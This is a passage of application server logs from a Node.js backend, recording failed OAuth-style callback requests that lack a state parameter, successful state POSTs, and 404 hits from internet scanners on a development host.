(Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' }, requestId: 'req_1758657938359_ow153znwm' } ❌ [ERROR] 2025-09-23T20:05:38.361Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' }, requestId: 'req_1758657938359_ow153znwm', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '78.241.54.161', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T20:05:48.535Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758657948534_npfw2fxu3' } ❌ [ERROR] 2025-09-23T20:05:48.536Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758657948534_npfw2fxu3', response: { statusCode: 400 } } ℹ️ [INFO] 2025-09-23T20:06:25.518Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758657985517_gy014pc1p', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-23T20:07:26.869Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:91.148.240.220', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (x11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' }, requestId: 'req_1758658046869_cf5fpxboz', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T20:07:35.414Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:84.104.229.103', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758658055413_bv663kst9', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T20:15:17.444Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758658517443_c2crku3i1', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-23T20:15:50.679Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758658550678_i64vwrkmj', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T20:17:50.405Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758658670404_667rthoy3', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-23T20:21:28.475Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:198.235.24.105', method: 'GET', url: '/', userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' }, requestId: 'req_1758658888474_2lq8jswan', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJnRkXpXhU5BNXPgsz51sTC_5jAk6N2uPpu0NZZDX07j5QSrUlegMGuiBZHWIeuQsnAgD89S0os8xzNXXwse1uyIPgg7mcXMt4iBqoazNXmMUwBBk_rgKc4O0-WJPHqi4pJG0ON4XgqTknp6Qhk_J8d-H68VYm5SUtNRelIX4CBPNs-TaZlMtsGySP1faWtrf0jYf0U09H2EnKVu8sba-fSb1-wNMhXqNfZ_9HkQ0Uj5QSTubihCaxNmeYaAIndLWLxAYoeXCLTOyL4mvJflE_lEg62RmlyXoWUnm73WUVWytfPoim6uLpcJioy6WIIXrZ0YCmU3pO4pAzx6jwWbhfjBYN5LsP5Zed2X7eyDmM7HtqgBt6p7nlpG8qNG2WY6nfghOQOZszZQeQBEHP1QL9ntJ4j-nmiZ4ZK4Vo', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '54.175.74.27', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T20:27:22.653Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJn'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y8'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758659242652_9rouz12w2' } ❌ [ERROR] 2025-09-23T20:27:22.654Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJnRkXpXhU5BNXPgsz51sTC_5jAk6N2uPpu0NZZDX07j5QSrUlegMGuiBZHWIeuQsnAgD89S0os8xzNXXwse1uyIPgg7mcXMt4iBqoazNXmMUwBBk_rgKc4O0-WJPHqi4pJG0ON4XgqTknp6Qhk_J8d-H68VYm5SUtNRelIX4CBPNs-TaZlMtsGySP1faWtrf0jYf0U09H2EnKVu8sba-fSb1-wNMhXqNfZ_9HkQ0Uj5QSTubihCaxNmeYaAIndLWLxAYoeXCLTOyL4mvJflE_lEg62RmlyXoWUnm73WUVWytfPoim6uLpcJioy6WIIXrZ0YCmU3pO4pAzx6jwWbhfjBYN5LsP5Zed2X7eyDmM7HtqgBt6p7nlpG8qNG2WY6nfghOQOZszZQeQBEHP1QL9ntJ4j-nmiZ4ZK4Vo - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y8'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758659242652_9rouz12w2', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T20:40:24.101Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758660024100_srvqp61zg', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '192.155.90.220', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T21:07:35.975Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' }, requestId: 'req_1758661655974_sldmx9xn1' } ❌ [ERROR] 2025-09-23T21:07:35.976Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' }, requestId: 'req_1758661655974_sldmx9xn1', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '199.45.154.135', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T21:09:15.411Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758661755410_n1evwlio3' } ❌ [ERROR] 2025-09-23T21:09:15.412Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758661755410_n1evwlio3', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T21:52:29.310Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:205.210.31.249', method: 'GET', url: '/', userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' }, requestId: 'req_1758664349310_epgwjgt4f', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T21:53:08.999Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:102.67.180.50', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' }, requestId: 'req_1758664388998_6ntebp5c4', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T22:00:12.716Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758664812715_ont041phg', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T22:07:54.795Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758665274794_sdf7p79nz', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T22:19:36.069Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:192.159.99.180', method: 'GET', url: '/', userAgent: 'Hello World' }, requestId: 'req_1758665976068_7sjo5a3zk', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-23T22:24:14.802Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758666254801_7orkb9027', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '78.241.54.161', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T22:24:53.744Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758666293744_bdkgxw6a2' } ❌ [ERROR] 2025-09-23T22:24:53.745Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758666293744_bdkgxw6a2', response: { statusCode: 400 } } ℹ️ [INFO] 2025-09-23T22:25:19.319Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758666319318_rnw41u0vc', response: { statusCode: 200 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '78.241.54.161', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T22:33:22.802Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758666802801_tifikoznn' } ❌ [ERROR] 2025-09-23T22:33:22.803Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758666802801_tifikoznn', response: { statusCode: 400 } } ℹ️ [INFO] 2025-09-23T22:44:00.211Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows 